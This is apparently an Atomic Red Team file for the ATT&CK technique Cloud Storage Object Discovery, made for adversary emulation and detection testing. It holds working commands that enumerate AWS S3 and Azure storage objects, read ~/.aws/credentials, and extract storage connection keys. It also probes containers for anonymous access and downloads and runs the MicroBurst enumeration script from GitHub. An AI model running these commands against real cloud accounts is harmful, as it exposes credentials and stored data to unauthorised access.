Files
atomic-red-team/atomics/T1619/T1619.md
T
2026-02-18 16:55:45 +00:00

13 KiB

T1619 - Cloud Storage Object Discovery

Description from ATT&CK

Adversaries may enumerate objects in cloud storage infrastructure. Adversaries may use this information during automated discovery to shape follow-on behaviors, including requesting all or specific objects from cloud storage. Similar to File and Directory Discovery on a local host, after identifying available storage services (i.e. Cloud Infrastructure Discovery) adversaries may access the contents/objects stored in cloud infrastructure.

Cloud service providers offer APIs allowing users to enumerate objects stored within cloud storage. Examples include ListObjectsV2 in AWS (Citation: ListObjectsV2) and List Blobs in Azure(Citation: List Blobs) .

Source

Atomic Tests

Atomic Test #1: AWS S3 Enumeration

This test will enumerate all the S3 buckets in the user account and lists all the files in each bucket.

Supported Platforms: Iaas:aws

auto_generated_guid: 3c7094f8-71ec-4917-aeb8-a633d7ec4ef5

Attack Commands: Run with sh!

for bucket in "$(aws s3 ls | cut -d " " -f3)"; do aws s3api list-objects-v2 --bucket $bucket --output text; done

Dependencies: Run with sh!

Description: Check if ~/.aws/credentials file has a default stanza is configured
Check Prereq Commands
cat ~/.aws/credentials | grep "default"
Get Prereq Commands
echo Please install the aws-cli and configure your AWS default profile using: aws configure

Atomic Test #2: Azure - Enumerate Storage Account Objects via Shared Key authorization using Azure CLI

This test enumerates all existing storage accounts and tries to fetch for each account the contained storage account objects. The access to storage objects is only possible if Shared Key authorization is enabled (e.g this is the case per default for storage objects creaded by Azure Function Apps).

Requirements:

  • The test is intended to be executed in interactive mode (with -Interactive parameter) in order to complete the az login command when MFA is required.
  • The EntraID user must have the role "Storage Account Contributor", or a role with similar permissions.

Output format: Csv file that contains the found storage account objects

  • Columns: ResourceGroup, StorageAccountName, FileShareName, ContainerName, BlobName, TableName, QueueName
  • The content of these columns is filled out depending on the object. Not-required columns are left empt. Example: For a blob object the ResourceGroup, StorageAccountName, ContainerName, BlobName are filled out, the other fields are left empty.

Supported Platforms: Iaas:azure

auto_generated_guid: 070322a4-2c60-4c50-8ffb-c450a34fe7bf

Inputs

Name Description Type Default Value
output_file Csv file path for results path $env:temp\T1619_storage_account_objects.csv

Attack Commands: Run with powershell!

az login    # Login to Azure

# Get all storage accounts in the subscription
$storageAccounts = az storage account list --query "[].{name:name, resourceGroup:resourceGroup}" --output json | ConvertFrom-Json

$storageAccountObjects = @()
$downloadedFunctionFiles = @()

foreach ($account in $storageAccounts) {
    Write-Output "`nFound storage account $($account.name)"

    $storageAccountObjects += [PSCustomObject]@{
        ResourceGroup      = $account.resourceGroup
        StorageAccountName = $account.name
        FileShareName      = ""
        ContainerName      = ""
        BlobName           = ""
        TableName          = ""
        QueueName          = ""
    }

    $allowSharedKeyAccess = az storage account show --name $account.name --resource-group $account.resourceGroup --query "allowSharedKeyAccess"
    
    if ($allowSharedKeyAccess -eq "false") {    # $allowSharedKeyAccess could be true or null
        Write-Output "Shared key access is disabled for this storage account."
    } else {
        $connectionString = az storage account show-connection-string --name $account.name --resource-group $account.resourceGroup --query connectionString --output tsv
        
        $fileShares = az storage share list --connection-string $connectionString --query "[].name" --output json | ConvertFrom-Json
        foreach($fileShare in $fileShares) {
            Write-Output "Found file share: $($fileShare)"
            $storageAccountObjects += [PSCustomObject]@{
                ResourceGroup      = $account.resourceGroup
                StorageAccountName = $account.name
                FileShareName      = $fileShare
                ContainerName      = ""
                BlobName           = ""
                TableName          = ""
                QueueName          = ""
            }
        }

        $containers = az storage container list --connection-string $connectionString --query "[].name" --output json | ConvertFrom-Json
        foreach($container in $containers) {
            Write-Output "Found container: $($container)"
            $storageAccountObjects += [PSCustomObject]@{
                ResourceGroup      = $account.resourceGroup
                StorageAccountName = $account.name
                FileShareName      = ""
                ContainerName      = $container
                BlobName           = ""
                TableName          = ""
                QueueName          = ""
            }

            $blobs = az storage blob list --connection-string $connectionString --container-name $container --query "[].name" --output json | ConvertFrom-Json

            foreach($blob in $blobs) {
                Write-Output "Found blob: $($blob)"
                $storageAccountObjects += [PSCustomObject]@{
                    ResourceGroup      = $account.resourceGroup
                    StorageAccountName = $account.name
                    FileShareName      = ""
                    ContainerName      = $container
                    BlobName           = $blob
                    TableName          = ""
                    QueueName          = ""
                }
            }
        }
        
        $tables = az storage table list --connection-string $connectionString --query "[].name" --output json | ConvertFrom-Json
        foreach($table in $tables) {
            Write-Output "Found table: $($table)"
            $storageAccountObjects += [PSCustomObject]@{
                ResourceGroup      = $account.resourceGroup
                StorageAccountName = $account.name
                FileShareName      = ""
                ContainerName      = ""
                BlobName           = ""
                TableName          = $table
                QueueName          = ""
            }
        }
        
        $queues = az storage queue list --connection-string $connectionString --query "[].name" --output json | ConvertFrom-Json
        foreach($queue in $queues) {
            Write-Output "Found table: $($table)"
            $storageAccountObjects += [PSCustomObject]@{
                ResourceGroup      = $account.resourceGroup
                StorageAccountName = $account.name
                FileShareName      = ""
                ContainerName      = ""
                BlobName           = ""
                TableName          = ""
                QueueName          = $queue
            }
        }
    }
}

# Store file lists to csv file
$storageAccountObjects | Export-Csv -Path "#{output_file}" -NoTypeInformation
Write-Output "`nDownloaded storage account objects to #{output_file}"

# Print lists that have been stored as csv file
$storageAccountObjects | Format-Table -Property ResourceGroup, StorageAccountName, FileShareName, ContainerName, BlobName, TableName, QueueName -AutoSize -Wrap

Cleanup Commands

Remove-Item -Path "#{output_file}" -Force -erroraction silentlycontinue
Write-Output "Removed #{output_file}"

Dependencies: Run with powershell!

Description: Azure CLI must be installed
Check Prereq Commands
try {if (Get-InstalledModule -Name Az -ErrorAction SilentlyContinue) {exit 0} else {exit 1}} catch {exit 1}
Get Prereq Commands
Install-Module -Name Az -Force

Atomic Test #3: Azure - Scan for Anonymous Access to Azure Storage (Powershell)

Upon successful execution, this test will test for anonymous access to Azure storage containers by invoking a web request and outputting the results to a file. The corresponding response could then be interpreted to determine whether or not the resource/container exists, as well as other information. See https://ninocrudele.com/the-three-most-effective-and-dangerous-cyberattacks-to-azure-and-countermeasures-part-2-attack-the-azure-storage-service

Supported Platforms: Iaas:azure

auto_generated_guid: 146af1f1-b74e-4aa7-9895-505eb559b4b0

Inputs

Name Description Type Default Value
base_name Azure storage account name to test string T1619Test2
output_file File to output results to string $env:temp\T1619Test2.txt
container_name Container name to search for (optional) string
blob_name Blob name to search for (optional) string

Attack Commands: Run with powershell!

try{$response = invoke-webrequest "https://#{base_name}.blob.core.windows.net/#{container_name}/#{blob_name}" -method "GET"}
catch [system.net.webexception]
{if($_.Exception.Response -ne $null)
{$Response = $_.Exception.Response.GetResponseStream()
$ReadResponse = New-Object System.IO.StreamReader($Response)
$ReadResponse.BaseStream.Position = 0
$responseBody = $ReadResponse.ReadToEnd()}
else {$responseBody = "The storage account could not be anonymously accessed."}}
"Response received for #{base_name}.blob.core.windows.net/#{container_name}/#{blob_name}: $responsebody" | out-file -filepath #{output_file} -append

Cleanup Commands

remove-item #{output_file} -erroraction silentlycontinue

Atomic Test #4: Azure - Enumerate Azure Blobs with MicroBurst

Upon successful execution, this test will utilize a wordlist to enumerate the public facing containers and blobs of a specified Azure storage account. See https://www.netspi.com/blog/technical/cloud-penetration-testing/anonymously-enumerating-azure-file-resources/ .

Supported Platforms: Iaas:azure

auto_generated_guid: 3dab4bcc-667f-4459-aea7-4162dd2d6590

Inputs

Name Description Type Default Value
base Azure blob keyword to enumerate (Example, storage account name) string secure
output_file File to output results to string $env:temp\T1619Test1.txt
wordlist File path to keywords for search permutations string PathToAtomicsFolder\..\ExternalPayloads\permutations.txt

Attack Commands: Run with powershell!

import-module "PathToAtomicsFolder\..\ExternalPayloads\Invoke-EnumerateAzureBlobs.ps1"
Invoke-EnumerateAzureBlobs -base #{base} -permutations "#{wordlist}" -outputfile "#{output_file}"

Cleanup Commands

remove-item #{output_file} -erroraction silentlycontinue

Dependencies: Run with powershell!

Description: The Invoke-EnumerateAzureBlobs module must exist in PathToAtomicsFolder..\ExternalPayloads.
Check Prereq Commands
if (test-path "PathToAtomicsFolder\..\ExternalPayloads\Invoke-EnumerateAzureBlobs.ps1"){exit 0} else {exit 1}
Get Prereq Commands
New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
invoke-webrequest "https://raw.githubusercontent.com/NetSPI/MicroBurst/156c4e9f4253b482b2b68eda4651116b9f0f2e17/Misc/Invoke-EnumerateAzureBlobs.ps1" -outfile "PathToAtomicsFolder\..\ExternalPayloads\Invoke-EnumerateAzureBlobs.ps1"
Description: The wordlist file for search permutations must exist in PathToAtomicsFolder..\ExternalPayloads.
Check Prereq Commands
if (test-path "#{wordlist}"){exit 0} else {exit 1}
Get Prereq Commands
invoke-webrequest "https://raw.githubusercontent.com/NetSPI/MicroBurst/156c4e9f4253b482b2b68eda4651116b9f0f2e17/Misc/permutations.txt" -outfile "#{wordlist}"